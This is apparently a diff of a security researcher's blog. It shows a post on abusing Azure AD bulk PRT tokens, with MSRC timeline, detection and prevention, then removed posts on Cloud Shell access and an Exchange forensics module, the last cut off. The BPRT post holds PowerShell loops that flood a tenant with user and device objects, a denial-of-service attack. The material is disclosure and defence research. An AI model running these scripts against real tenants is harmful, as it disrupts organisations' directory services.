The upn of the user will always be "package_&lt;pid>@&lt;default domain>" but the display name can be freely selected.
**AADInternals** have had a function for creating the BPRT since v0.4.5:
{{< highlight powershell >}}
# Get the access token
Get-AADIntAccessTokenForAADGraph -Resource urn:ms-drs:enterpriseregistration.windows.net -SaveToCache
# Create a new BPRT
$bprt = New-AADIntBulkPRTToken -Name "My BPRT user"
{{< /highlight>}}
**Output:**
```
BPRT saved to package_8eb8b873-2b6a-4d55-bd96-27b0abadec6a-BPRT.json
```
**Note!** If you got an error "AADSTS240001: User is not authorized to register devices in Azure AD.", there can be two reasons for this.
First is that the user does not have rights to register devices. Another reason is, that WCD app has not been given consent.
The admin consent can be given using the following link: https://<a href="https://login.microsoftonline.com/common/adminConsent?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&redirect_uri=https://portal.azure.com/TokenAuthorize" target="_blank">login.microsoftonline.com/common/adminConsent?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&redirect_uri=https://portal.azure.com/TokenAuthorize</a>
and the user consent with: https://<a href="https://login.microsoftonline.com/common/oauth2/authorize?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&response_type=code" target="_blank">login.microsoftonline.com/common/oauth2/authorize?client_id=de0853a1-ab20-47bd-990b-71ad5077ac7b&response_type=code</a>.
After the admin consent is given, the browser may stay "loading" the page due to redirect url the app is using - this is ok and can be ignored.
**Note!** For the new tenants the consent for WCD app is required. For older tenants, this seems not to be case. Moreover, removing the app/consent does not remove the functionality 😥
Apparently, giving the consent to WCD app does something irreversible to the tenant.
# How to use BPRT token?
Now that we know that we can create BPRTs, the obvious question is what can we do with them? The first usage scenario is to create BPRTs programmatically, allowing automatisation of creating provisioning packages.
Another scenario is to enroll devices to Azure AD and Intune like the Windows devices would after the provisioning package is applied.
So what happens when the device is enrolling to Azure AD and Intune with BPRT?
First, the device will get an access token for Azure AD Join using the BPRT. Luckily, this is just
a normal flow where a new access token is fetched using BPRT as a refresh token. The only limitation seems to be that
with BPRT, access tokens are only provided for Azure AD Join and Intune MDM client ids.
With AADInternals, the BPRT can used to get access token for AAD Join:
{{< highlight powershell >}}
# Get the access token for AAD Join using BPRT
Get-AADIntAccessTokenForAADJoin -BPRT $BPRT -SaveToCache
{{< /highlight>}}
And now we have a working access token and we can join devices to Azure AD and create PRTs as explained in my earlier <a href="/post/prt/#creating-your-own-prt" target="_blank">blog post</a>:
{{< highlight powershell >}}
# Join the device to Azure AD
Join-AADIntDeviceToAzureAD -DeviceName "My computer"
{{< /highlight>}}
```
Device successfully registered to Azure AD:
DisplayName: "My computer"
DeviceId: d03994c9-24f8-41ba-a156-1805998d6dc7
Cert thumbprint: 78CC77315A100089CF794EE49670552485DE3689
Cert file name : "d03994c9-24f8-41ba-a156-1805998d6dc7.pfx"
Local SID:
S-1-5-32-544
Additional SIDs:
S-1-12-1-797902961-1250002609-2090226073-616445738
S-1-12-1-3408697635-1121971140-3092833713-2344201430
S-1-12-1-2007802275-1256657308-2098244751-2635987013
```
Similarly, we can get an access token for Intune with BPRT and Azure AD device certificate:
{{< highlight powershell >}}
# Get the access token for Intune using BPRT and Azure AD device certificate
Get-AADIntAccessTokenForIntuneMDM -BPRT $BPRT -PfxFileName .\d03994c9-24f8-41ba-a156-1805998d6dc7.pfx -SaveToCache
{{< /highlight>}}
And finally, we can enroll the device to Intune:
{{< highlight powershell >}}
# Enroll the device to Intune
Join-AADIntDeviceToIntune -DeviceName "My computer"
{{< /highlight>}}
```
Intune client certificate successfully created:
Subject: "CN=5ede6e7a-7b77-41bd-bfe0-ef29ca70a3fb"
Issuer: "CN=Microsoft Intune MDM Device CA"
Cert thumbprint: A1D407FF66EF05D153B67129B8541058A1C395B1
Cert file name: "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM.pfx"
CA file name : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-CA.der"
IntMedCA file : "d03994c9-24f8-41ba-a156-1805998d6dc7-MDM-INTMED-CA.der"
```
# How to abuse Azure AD with BPRTs
As always, the biggest question in this blog is how we can abuse Azure AD with the things we have learned? So far, I've found two scenarios.
## Fill Azure AD with users
As we've learned, creating a BPRT creates also a user object to Azure AD. We've also learned that creating a BPRT does not require any admin rights.
As per Microsoft <a href="https://docs.microsoft.com/en-us/azure/active-directory/enterprise-users/directory-service-limits-restrictions" target="_blank">documentation</a>, a non-admin user can create no more than 250 objects to Azure AD.
However, this limit does NOT apply for BPRTs ☹
As such, in practice, this means that a **normal user can create user objects until the Azure AD quota limit is reached!** 🤦‍
To demonstrate this, I used the following simple script to fill Azure AD with BPRTs:
{{< highlight powershell >}}
# Get the access token
Get-AADIntAccessTokenForAADGraph -Resource urn:ms-drs:enterpriseregistration.windows.net -SaveToCache
# Create objects until quota reached
for($a = 1 ; $a -lt 50000 ; $a++)
{
$name = 'BPRT-{0:d5}' -f $a
try{
New-AADIntBulkPRTToken -Name $name | Out-Null
} catch{}
}
{{< /highlight>}}
The throughput is only 23 users per minute, so I eventually used multiple PowerShell sessions to speed things up.
The following animation shows that after the quota is reached, no new users can be added:
![BPRT DOS](/images/posts/BPRT_DOS.gif)
## Fill Azure AD with devices
As we've learned, the BPRT can be used join devices to Azure AD and Intune. As the BPRT represents a user, it would be
fair to assume that the same limitations apply to those users as well. Especially, when the WCD mentiones that the default limit is 20:
![WCD limit](/images/posts/bprt_6.png)
In my test tenant, I had a 50 device limit per user:
![device settings](/images/posts/bprt_7.png)
Guess what? Yep, that device limit does not apply for "BPRT users" ☹
Again, in practice, this means that a **normal user can create device objects until the Azure AD quota limit is reached!** 🤦‍
To demonstrate this, I used the following simple script to fill Azure AD with devices:
{{< highlight powershell >}}
# Get the access token
Get-AADIntAccessTokenForAADJoin -BPRT $bprt -SaveToCache
# Create devices until quota reached
for($a = 1 ; $a -lt 50000 ; $a++)
{
$name = 'DEV-{0:d5}' -f $a
try{
Join-AADIntDeviceToAzureAD -DeviceName $name
} catch{}
}
{{< /highlight>}}
The throughput was a bit higher, about 90 users per minute, but I still used multiple PowerShell sessions to speed things up.
The following animation shows that after the quota is reached, no new users can be added:
![Device DOS](/images/posts/Device_DOS.gif)
# Microsoft response
Naturally, all this made feel very uncomfortable as a normal non-admin user can make a Denial of Service (DOS) attack against their own tenant. This, naturally, had to be reported to Microsoft.
My initial report was following:
> According https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll an admin can create a bulk AAD token (BPRT), which can be used to enroll multiple devices to Azure AD and Intune. <br><br>
> I noticed, that a regular user without any admin rights can also create a BPRT. As such, they can add devices without number restrictions (if joining to AAD is allowed). <br><br>
> As I'm planning to publish a blog post and toolkit regarding to this, I'd like to know is this expected behavior?
Here is the full timeline of my correspondence with Microsoft on January 2021:
Date | Description
--- | ---
13th | Initial report
13th | **Response**: "In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video.."
16th | Created a ten minute <a href="https://youtu.be/aaqEZ-yJNFA" target="_blank">POC video</a> and resubmitted the report
16th | **Response**: "In order to investigate your report I will need a valid proof of concept (POC) ideally with images or video..".
17th | Send an email explaining I've done all I've could and assume that MSRC does not regard this a vulnerability and will publish my findings.
20th | **Response**: "In order to investigate your report I will need detailed steps to reproduce your reported issue consistently, ideally with attached images or video." <br> "If you believe this to be a misunderstanding of the report, submit a new report."
20th | Created another <a href="https://youtu.be/lGjVcVCRI6M" target="_blank">POC video</a> and resubmitted the report again
20th | **Response**: "Thank you for contacting the Microsoft Security Response Center (MSRC). I've opened a case for this issue"
27th | **Response**: "Upon investigation, we have determined that **this submission is by design and does not meet the definition of a security vulnerability for servicing**. This report does not appear to identify a weakness in a Microsoft product or service that would enable an attacker to compromise the integrity, availability, or confidentiality of a Microsoft offering."
Reporting findings to MSRC was (again) a very frustrating experience. For instance, the POC video was first viewed after my THIRD post: the first video had 10 views and the second one 4 views on Jan 20th, but no
views between 20th and 27th. However, AFTER receiving the anticipated "by design" response from MSRC, they have viewed the videos an extra 20 times.
It is also interesting that the documentation was changed after my report, but the page seems to be edited in November 2020, not January 2021 🤔. The original page
can be seen in the beginning of the first POC.
**Sep 26 2022:** As this is an old blog post, I wanted to add that **my experience with MSRC has improved greatly** since this blog post.
This is a good reminder though that it is not always easy to report to vendors about something that is clearly wrong.
Having said that, as of today, **this issue has still not been fixed**.
# Detecting
## Windows Configuration Designer consent
First sign for BPRT abuse is consentint the WCD app. **Note:** This can also be a normal behaviour!
When the consent is given for the WCD app, an entry is created in **Audit log**. We are interested in the activity type "Consent to application"
where the target is "Windows Configuration Designer (WCD)":
![hunt8](/images/posts/bprt_15.png)
## Device Registration Service access token
Second sign for BPRT abuse is getting the access token for Device Registration Service (DSR). The resource id of DSR is:
```
01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9
```
In the "normal" process the WCD application id is used:
```
de0853a1-ab20-47bd-990b-71ad5077ac7b
```
So, if the DSR access token is not fetched using WCD client id, it is likely a sign of abusive behavior. For instance AADInternals is currently using
Azure Active Directory PowerShell client id. The following screen shot from **Sign-ins log** shows an entry generated when access token is fetched using AADInternals (can be interactive or non-interactive):
![hunt1](/images/posts/bprt_8.png)
## Creating BPRTs
Third sign for BPRT abuse is the actual creation of BPRTs. This can be detected from the **Audit log**. Below is an example of an Audit log entry where the user created a BPRT.
In the Activity tab, we can see that the corresponding user is created by "Microsoft.Azure.SyncFabric" Service Principal, not the user.
![hunt2](/images/posts/bprt_9.png)
In the Modified Properties tab, we can see that the UPN of user creating the BPRT is added to **OtherMail** attribute of the resulting user.
We can also see that the **UserPrincipalName** starts always with "package_" prefix.
![hunt3](/images/posts/bprt_10.png)
BPRT creation can also be spotted from **Sign-ins log** as the created user is logged in within one to two seconds after it is created using
the following "AADJ CSP" client id and an empty Resource ID:
```
b90d5b8f-5503-4153-b545-b31cecfaece2
```
![hunt4](/images/posts/bprt_11.png)
## Using BPRT to get access tokens
**Note:** Using BPRT is not always rogue behaviour: it is meant for joining multiple devices!
The access tokens fetched for **AAD Join** using BPRT can be seen in **User sign-ins (non-interactive)** tab of the **Sign-ins log**.
The used client id is again "AADJ CSP" but now the resource is DSR:
![hunt5](/images/posts/bprt_12.png)
Similarly, the access tokens fetched for **Intune** using BPRT can be seen in **User sign-ins (non-interactive)** tab of the **Sign-ins log**.
The used client id is again "AADJ CSP" but now the resource is Microsoft Intune Enrollment:
```
d4ebce55-015a-49b5-a083-c84d1797ae8c
```
![hunt6](/images/posts/bprt_13.png)
## Enrolling devices to Azure AD
**Note:** Using BPRT is not always rogue behaviour: it is meant for joining multiple devices!
When the device is joined to Azure AD, there are multiple events in the **Audit log**.
The event we are interested in is of type "Add registered owner to device". In the **Target(s)** tab we can see that the target user's UPN starts with
"package_" and thus is a BPRT user.
![hunt7](/images/posts/bprt_14.png)
## Enrolling devices to Intune
**Note:** Using BPRT is not always rogue behaviour: it is meant for joining multiple devices!
When the device is succesfully joined to Intune, there is one event in the **Audit log**.
The event we are interested in is of type "Update device" initiated by "Microsoft Intune".
In the **Target(s)** tab we can see the ID of the device which matches the one seen above.
In the **Modified Properties** tab we can see that the "IsManaged" property is set to "true":
![hunt9](/images/posts/bprt_16.png)
# Preventing
One prequisite for creating BPRTs is that the Windows Configuration Designer (WCD) app has been given a consent by an administrator.
Therefore, it would be fair to assume that removing the app would prevent creating BPRTs. However, based on my observations, **removing the WCD app
does not prevent creating BPRTs using different client ids!**
To my best knowledge, only way to prevent creating BPRTs is to prevent users joining devices to Azure AD:
![preventing BPRT](/images/posts/bprt_17.png)
# Summary
BPRT tokens can be easily created with AADInternals without any administrator rights, provided that the user has rights to enroll devices to Azure AD and that WCD app has been used earlier in the tenant.
This allows rogue users to conduct DOS attacks against their tenant by filling Azure AD with user objects.
With a BPRT, an access token can be fetched to join devices to Azure AD and Intune, provided that the BPRT user has rights to enroll devices to Azure AD and Intune.
This allows rogue users to conduct DOS attacks against their tenant by filling Azure AD with device objects, regardless of the device number restrictions. All other restrictions, like Intune
device type restrictions are still applied.
**Only way to prevent creating BPRTs is to prevent users joining devices to Azure AD!**
# References
* Microsoft: <a href="https://docs.microsoft.com/en-us/mem/intune/enrollment/windows-bulk-enroll" target="_blank">Bulk enrollment for Windows devices</a>
* Microsoft: <a href="https://docs.microsoft.com/en-us/azure/active-directory/enterprise-users/directory-service-limits-restrictions" target="_blank">Azure AD service limits and restrictions</a>
@@ -1,239 +0,0 @@
+++
title = "Using Azure Cloud Shell from PowerShell"
date = "2020-09-30"
lastmod = "2020-09-30"
categories =["blog"]
tags = ["Azure","security","MFA","PRT"]
thumbnail = "/images/posts/cloudshell.png"
+++
Azure Cloud Shell is a browser-based shell for managing Azure resources using your favourite shell, Bash or PowerShell.
Cloud Shell is typically used from Azure Portal. It provides an easy access to Azure CLI, Azure PowerShell and Azure AD PowerShell.
In this blog, I'll introduce a new way to access Cloud Shell from PowerShell (requires **AADInternals v0.4.3** or newer).
<!--more-->
# What Azure Cloud Shell
As per Microsoft <a href="https://docs.microsoft.com/en-us/azure/cloud-shell/overview" target="_blank">documentation</a>:
> Azure Cloud Shell is an interactive, authenticated, browser-accessible shell for managing Azure resources. It provides the flexibility of choosing the shell experience that best suits the way you work, either Bash or PowerShell.
Cloud Shell can be accessed in four different ways: Using a direct link (<a href="https://shell.azure.com">shell.azure.com</a>),
from Azure portal, from docs.microsoft.com code snippets, and now from PowerShell with AADInternals.
Typically, the Cloud Shell is used from the Azure portal:
![Azure Portal](/images/posts/cloudshell_2.png)
The nicest feature of the Cloud Shell is that it comes with pre-installed PowerShell and CLI tools for managing Azure.
For instance, listing the available PowerShell modules shows that we have all we need to manage Azure and Azure AD.
{{< highlight powershell >}}
PS /home/admin> Get-Module -ListAvailable
{{< /highlight>}}
```
Directory: /usr/local/share/powershell/Modules
ModuleType Version PreRelease Name PSEdition ExportedCommands
---------- ------- ---------- ---- --------- ----------------
Script 4.7.0 Az Core,Desk
Script 1.9.4 Az.Accounts Core,Desk {Disable-AzDataCollection, Disable-AzContex…
Script 1.1.1 Az.Advisor Core,Desk {Get-AzAdvisorRecommendation, Enable-AzAdvi…
Script 1.3.0 Az.Aks Core,Desk {Get-AzAksCluster, New-AzAksCluster, Remove…
Script 1.1.4 Az.AnalysisServices Core,Desk {Resume-AzAnalysisServicesServer, Suspend-A…
Script 2.1.0 Az.ApiManagement Core,Desk {Add-AzApiManagementApiToGateway, Add-AzApi…
Script 1.1.0 Az.ApplicationInsights Core,Desk {Get-AzApplicationInsights, New-AzApplicati…
Script 1.4.0 Az.Automation Core,Desk {Get-AzAutomationHybridWorkerGroup, Remove-…
Script 3.1.0 Az.Batch Core,Desk {Remove-AzBatchAccount, Get-AzBatchAccount,…
Script 1.0.3 Az.Billing Core,Desk {Get-AzBillingInvoice, Get-AzBillingPeriod,…
Script 1.4.3 Az.Cdn Core,Desk {Get-AzCdnProfile, Get-AzCdnProfileSsoUrl, …
Script 1.6.0 Az.CognitiveServices Core,Desk {Get-AzCognitiveServicesAccount, Get-AzCogn…
Script 4.4.0 Az.Compute Core,Desk {Remove-AzAvailabilitySet, Get-AzAvailabili…
Script 1.0.3 Az.ContainerInstance Core,Desk {New-AzContainerGroup, Get-AzContainerGroup…
Script 1.1.1 Az.ContainerRegistry Core,Desk {New-AzContainerRegistry, Get-AzContainerRe…
Script 1.1.0 Az.DataBoxEdge Core,Desk {Get-AzDataBoxEdgeJob, Get-AzDataBoxEdgeDev…
Script 1.10.1 Az.DataFactory Core,Desk {Set-AzDataFactoryV2, Update-AzDataFactoryV…
Script 1.0.2 Az.DataLakeAnalytics Core,Desk {Get-AzDataLakeAnalyticsDataSource, New-AzD…
Script 1.2.8 Az.DataLakeStore Core,Desk {Get-AzDataLakeStoreTrustedIdProvider, Remo…
Script 1.0.0 Az.DataShare Core,Desk {New-AzDataShareAccount, Get-AzDataShareAcc…
Script 1.1.0 Az.DeploymentManager Core,Desk {Get-AzDeploymentManagerArtifactSource, New…
Script 1.0.0 Az.DesktopVirtualization Core,Desk {Disconnect-AzWvdUserSession, Get-AzWvdAppl…
Script 1.0.2 Az.DevTestLabs Core,Desk {Get-AzDtlAllowedVMSizesPolicy, Get-AzDtlAu…
Script 1.1.2 Az.Dns Core,Desk {Get-AzDnsRecordSet, New-AzDnsRecordConfig,…
Script 1.3.0 Az.EventGrid Core,Desk {New-AzEventGridTopic, Get-AzEventGridTopic…
Script 1.6.0 Az.EventHub Core,Desk {New-AzEventHubNamespace, Get-AzEventHubNam…
Script 1.6.1 Az.FrontDoor Core,Desk {New-AzFrontDoor, Get-AzFrontDoor, Set-AzFr…
Script 1.0.2 Az.Functions Core,Desk {Get-AzFunctionApp, Get-AzFunctionAppAvaila…
Script 0.10.8 Az.GuestConfiguration Core,Desk {Get-AzVMGuestPolicyStatus, Get-AzVMGuestPo…
Script 3.6.0 Az.HDInsight Core,Desk {Get-AzHDInsightJob, New-AzHDInsightSqoopJo…
Script 1.1.0 Az.HealthcareApis Core,Desk {New-AzHealthcareApisService, Remove-AzHeal…
Script 2.5.0 Az.IotHub Core,Desk {Add-AzIotHubKey, Get-AzIotHubEventHubConsu…
Script 2.2.0 Az.KeyVault Core,Desk {Add-AzKeyVaultCertificate, Update-AzKeyVau…
Script 1.0.0 Az.Kusto Core,Desk {Add-AzKustoClusterLanguageExtension, Add-A…
Script 1.3.2 Az.LogicApp Core,Desk {Get-AzIntegrationAccountAgreement, Get-AzI…
Script 1.1.3 Az.MachineLearning Core,Desk {Move-AzMlCommitmentAssociation, Get-AzMlCo…
Script 1.1.0 Az.Maintenance Core,Desk {Get-AzApplyUpdate, Get-AzConfigurationAssi…
Script 1.1.0 Az.ManagedServices Core,Desk {Get-AzManagedServicesAssignment, New-AzMan…
Script 1.0.2 Az.MarketplaceOrdering Core,Desk {Get-AzMarketplaceTerms, Set-AzMarketplaceT…
Script 1.1.1 Az.Media Core,Desk {Sync-AzMediaServiceStorageKey, Set-AzMedia…
Script 2.1.0 Az.Monitor Core,Desk {Get-AzMetricDefinition, Get-AzMetric, Remo…
Script 3.4.0 Az.Network Core,Desk {Add-AzApplicationGatewayAuthenticationCert…
Script 1.1.1 Az.NotificationHubs Core,Desk {Get-AzNotificationHub, Get-AzNotificationH…
Script 2.3.0 Az.OperationalInsights Core,Desk {New-AzOperationalInsightsAzureActivityLogD…
Script 1.3.1 Az.PolicyInsights Core,Desk {Get-AzPolicyEvent, Get-AzPolicyState, Get-…
Script 1.1.2 Az.PowerBIEmbedded Core,Desk {Remove-AzPowerBIWorkspaceCollection, Get-A…
Script 1.0.3 Az.PrivateDns Core,Desk {Get-AzPrivateDnsZone, Remove-AzPrivateDnsZ…
Script 2.12.1 Az.RecoveryServices Core,Desk {Get-AzRecoveryServicesBackupProperty, Get-…
Script 1.2.1 Az.RedisCache Core,Desk {Remove-AzRedisCachePatchSchedule, New-AzRe…
Script 1.0.3 Az.Relay Core,Desk {New-AzRelayNamespace, Get-AzRelayNamespace…
Script 2.5.1 Az.Resources Core,Desk {Get-AzProviderOperation, Remove-AzRoleAssi…
Script 1.4.1 Az.ServiceBus Core,Desk {New-AzServiceBusNamespace, Get-AzServiceBu…
Script 2.2.0 Az.ServiceFabric Core,Desk {Add-AzServiceFabricClientCertificate, Add-…
Script 1.2.0 Az.SignalR Core,Desk {New-AzSignalR, Get-AzSignalR, Get-AzSignal…
Script 2.10.0 Az.Sql Core,Desk {Get-AzSqlDatabaseTransparentDataEncryption…
Script 1.1.0 Az.SqlVirtualMachine Core,Desk {New-AzSqlVM, Get-AzSqlVM, Update-AzSqlVM, …
Script 2.6.0 Az.Storage Core,Desk {Get-AzStorageAccount, Get-AzStorageAccount…
Script 1.3.0 Az.StorageSync Core,Desk {Invoke-AzStorageSyncCompatibilityCheck, Ne…
Script 1.0.1 Az.StreamAnalytics Core,Desk {Get-AzStreamAnalyticsFunction, Get-AzStrea…
Script 1.0.0 Az.Support Core,Desk {Get-AzSupportService, Get-AzSupportProblem…
Script 1.0.4 Az.TrafficManager Core,Desk {Add-AzTrafficManagerCustomHeaderToEndpoint…
Script 1.11.0 Az.Websites Core,Desk {Get-AzAppServicePlan, Set-AzAppServicePlan…
Script 0.0.0.10 AzureAD.Standard.Preview Desk {Set-AzureADTenantDetail, Set-AzureADApplic…
Script 0.9.3 AzurePSDrive Desk
Script 17.0.4716… EXOPSSessionConnector Desk Connect-EXOPSSession
Binary 0.1.1 Microsoft.PowerShell.UnixCompleters Core {Import-UnixCompleters, Remove-UnixComplete…
Manifest 1.0.840 MicrosoftPowerBIMgmt Desk
Binary 1.0.840 MicrosoftPowerBIMgmt.Admin Desk {Add-PowerBIEncryptionKey, Get-PowerBIEncry…
Binary 1.0.840 MicrosoftPowerBIMgmt.Capacities Desk Get-PowerBICapacity
Binary 1.0.840 MicrosoftPowerBIMgmt.Data Desk {Add-PowerBIDataset, Set-PowerBITable, New-…
Binary 1.0.840 MicrosoftPowerBIMgmt.Profile Desk {Connect-PowerBIServiceAccount, Disconnect-…
Binary 1.0.840 MicrosoftPowerBIMgmt.Reports Desk {Get-PowerBIReport, New-PowerBIReport, Expo…
Binary 1.0.840 MicrosoftPowerBIMgmt.Workspaces Desk {Get-PowerBIWorkspace, Get-PowerBIWorkspace…
Binary 1.1.4 MicrosoftTeams Core,Desk {Add-TeamUser, Connect-MicrosoftTeams, Disc…
Script 0.9.3 PSCloudShellUtility Desk {Enter-AzVM, Get-AzCommand, Invoke-AzVMComm…
Binary 0.8.1 SHiPS Desk
Script 21.1.18226 SqlServer Desk {Add-RoleMember, Add-SqlAvailabilityDatabas…
Directory: /opt/microsoft/powershell/7/Modules
ModuleType Version PreRelease Name PSEdition ExportedCommands
---------- ------- ---------- ---- --------- ----------------
Manifest 1.2.5 Microsoft.PowerShell.Archive Desk {Compress-Archive, Expand-Archive}
Manifest 7.0.0.0 Microsoft.PowerShell.Host Core {Start-Transcript, Stop-Transcript}
Manifest 7.0.0.0 Microsoft.PowerShell.Management Core {Add-Content, Clear-Content, Clear-ItemProp…
Manifest 7.0.0.0 Microsoft.PowerShell.Security Core {Get-Credential, Get-ExecutionPolicy, Set-E…
Manifest 7.0.0.0 Microsoft.PowerShell.Utility Core {Export-Alias, Get-Alias, Import-Alias, New…
Script 1.4.7 PackageManagement Desk {Find-Package, Get-Package, Get-PackageProv…
Script 2.2.4.1 PowerShellGet Desk {Find-Command, Find-DSCResource, Find-Modul…
Script 2.0.5 PSDesiredStateConfiguration Core {Configuration, New-DscChecksum, Get-DscRes…
Script 2.0.2 PSReadLine Desk {Get-PSReadLineKeyHandler, Set-PSReadLineKe…
Binary 2.0.3 ThreadJob Desk Start-ThreadJob
```
It is even possible to install AADInternals to Cloud Shell! However, as Cloud Shell is running on Linux, only .Net Core
is supported. So everything will not work.
# Using Cloud Shell from PowerShell
Technically, the Cloud Shell is nothing but a WebSocket connection to terminal session of a Linux box in Azure.
## Technical details
The technical process to connect to Cloud Shell is as follows.
### Step one
First, a HTTP request (PUT) is sent to:
```
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2020-04-01-preview
```
The payload of the request is:
{{< highlight json >}}
{"properties":{"osType":"linux"}}
{{< /highlight>}}
The response includes an url for the **gateway**.
{{< highlight json >}}
{
"properties": {
"osType": "Linux",
"provisioningState": "Succeeded",
"uri": "https://gateway12.westeurope.console.azure.com:443/n/cc-20a66344/cc-20a66344"
}
}
{{< /highlight>}}
### Step two
Next, a HTTP request (POST) is sent to the gateway url with the size information (rows and columns) and the shell type (bash or pwsh):
```
https://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/terminals?cols=124&rows=13&version=2019-01-01&shell=pwsh
```
The response includes the url for the terminal **WebSocket**.
{{< highlight json >}}
{
"id": "0ca733551cd94ce83f8d6a1b023ff8ef",
"socketUri": "wss://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/terminals/0ca733551cd94ce83f8d6a1b023ff8ef",
"idleTimeout": "20",
"tokenUpdated": true,
"rootDirectory": "/home/admin"
}
{{< /highlight>}}
### Step three
Next, a HTTP request (POST) is sent to the gateway for authorization:
```
https://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/authorize
```
The response includes the authorization token.
{{< highlight json >}}
{"token":"KtkU1c9zXEh1jidHf6xYskuZL5N4WujFsiw043VDEm0mq7MjBnbOKJR92nmoWazUL4yFEcm4PRRq4r5KJag"}
{{< /highlight>}}
### Step four
The final step is make a WebSocket connection to the gateway address:
```
wss://gateway12.westeurope.console.azure.com/n/cc-20a66344/cc-20a66344/terminals/0ca733551cd94ce83f8d6a1b023ff8ef
```
The authorization token must be included in a cookie:
```
Cookie: auth-token=KtkU1c9zXEh1jidHf6xYskuZL5N4WujFsiw043VDEm0mq7MjBnbOKJR92nmoWazUL4yFEcm4PRRq4r5KJag
```
After the connection is made, all keystrokes from the (local) PowerShell are sent through the WebSocket to Azure.
Also everything sent from the Azure through the WebSocket are printed to console.
The output from the Azure are <a href="http://vt100.net" target="_blank">VT100</a> based control character sequences.
Luckily, since around 2018, <a href="Console Virtual Terminal Sequences" target="_blank">PowerShell console supports VT100</a>!
So, all I had to do was to pipe things directly between PowerShell console and Cloud Shell.
## Making the connection
Connecting to Cloud Shell with AADInternals is pretty straight forward:
{{< highlight powershell >}}
# Get access token
Get-AADIntAccessTokenForCloudShell -SaveToCache
# Start the Cloud Shell (PowerShell)
Start-AADIntCloudShell
{{< /highlight>}}
![Cloud Shell](/images/posts/cloudshell_3.png)
To start a Bash shell instead:
{{< highlight powershell >}}
# Start the Cloud Shell (Bash)
Start-AADIntCloudShell -Shell Bash
{{< /highlight>}}
![Cloud Shell](/images/posts/cloudshell_4.png)
To exit from the Cloud Shell, type **exit**
You can also move between PowerShell and Bash in Cloud Shell. To start a bash shell while in PowerShell, type **bash**.
To start PowerShell while in Bash, type **pwsh**.
# References
* Microsoft: <a href="https://docs.microsoft.com/en-us/azure/cloud-shell/overview" target="_blank">Overview of Azure Cloud Shell</a>
* Microsoft: <a href="https://docs.microsoft.com/en-us/windows/console/console-virtual-terminal-sequences" target="_blank">Console Virtual Terminal Sequences<a>
@@ -1,147 +0,0 @@
+++
title = "Chasing the Unicorn: PowerShell module for 'The Secret Office 365 Forensics Tool'"
date = "2018-07-02"
lastmod = "2018-07-13"
categories =["blog"]
tags = ["Office 365","Security","Exchange","Forensics","Logs"]
thumbnail = "/images/posts/EXOMailActivity.png"
+++
In June 2018 the existence of secret Office 365 forensics tool was confirmed.
The tool refers to Microsoft's undocumented Exchange Online Activities API.
The API provides access to a granular mail activity events for up to six months old data!
To provide administrators with easy access to the API, I created a PowerShell module (EXOMailActivity).
In this blog, I'll show you how to use the module to get access to mail activity data.
<!--more-->
# What is this "secret forensics tool"?
Apparently there have been rumours of the tool for some time now. In June 2018 the Anonymous revealed the existence of the
tool as reported by <a href="http://lmgsecurity.com/exposing-the-secret-office-365-forensics-tool/" target="_blank">Sherri Davidoff from LMG security</a>.
In practice, the "tool" is an undocumented Exchange Online Activity API. For clarification: it is **NOT an Office 365 forensics tool**, but an Exchange Online forensics tool.
Anyways, the revealed Activity API provides access to granular mail activity data for up to six months old data!
<span style="color:red">**EDIT: In July 3rd the API seems to be banned by Microsoft. Calling the API will return a HTTP error: 403 Forbidden.**</span>
# EXOMailActivity PowerShell module
Immediately after discovering the news about the Activity API I researched it carefully. Thanks to research done by
<a href="https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/" target="_blank">CrowdStrike</a>,
it was easy to pull up a proof-of-concept using PowerShell.
To make the API easily accessible for administrators, I decided to create a PowerShell module called EXOMailActivity
## Installing EXOMailActivity
The module is available at <a href="https://github.com/Gerenios/EXOMailActivity" target="_blank">GitHub</a>.
The easiest way to use the module is to add it to a directory from where PowerShell can find it.
{{< highlight powershell >}}
# List PowerShell module paths
$env:PSModulePath -split ";"
{{< /highlight>}}
This returns a list of PowerShell module directories:
```
C:\Users\MyUser\Documents\WindowsPowerShell\Modules
C:\Program Files\WindowsPowerShell\Modules
C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
C:\Program Files\SharePoint Online Management Shell\
C:\Program Files\WindowsPowerShell\Modules\
```
Change the current directory to one those directories and get the module from GitHub
{{< highlight powershell >}}
git clone https://github.com/Gerenios/EXOMailActivity
{{< /highlight>}}
## Using EXOMailActivity
There are two cmdlets in the module; **Get-MailActivity** and **Get-MailActivityDetails**
**Note!** To get the activity data, you need credentials having FullAccess to target user's mailbox.
In the following, we get the first 500 mail activities of the user from the previous 30 days.
{{< highlight powershell >}}
# Save credentials to a variable
$cred=Get-Credential
# Get activity data
Get-MailActivity -Credential $cred -User "user@example.com"
{{< /highlight>}}
The output contains activity data entries similar to this:
```
@odata.id : https://outlook.office365.com/api/v1.0/Users('user@example.com')/Activities('AAMkAGRmZTg4NTMwLWFkMzUtNDIwZC1iY2JkLTliZTc1N2ZiNDJlOABGAAAAAADMs1bsdkG3Spbrf-DOuHSKBwC4zq7ZZymRR
oql8uBEAL0JAAAAAAEfAAC4zq7ZZymRRoql8uBEAL0JAAADdDKuAAA=')
@odata.etag : W/"CQAAAA=="
Id : AAMkAGRmZTg4NTMwLWFkMzUtNDIwZC1iY2JkLTliZTc1N2ZiNDJlOABGAAAAAADMs1bsdkG3Spbrf-DOuHSKBwC4zq7ZZymRRoql8uBEAL0JAAAAAAEfAAC4zq7ZZymRRoql8uBEAL0JAAADdDKuAAA=
ActivityCreationTime : 2018-07-02T12:14:13.816Z
ActivityIdType : Logon
AppIdType : Web
ClientSessionId : 1c6c6a80-b98b-45ef-8a4e-b874f3fe375f
ActivityItemId :
TimeStamp : 2018-07-02T12:14:13.019Z
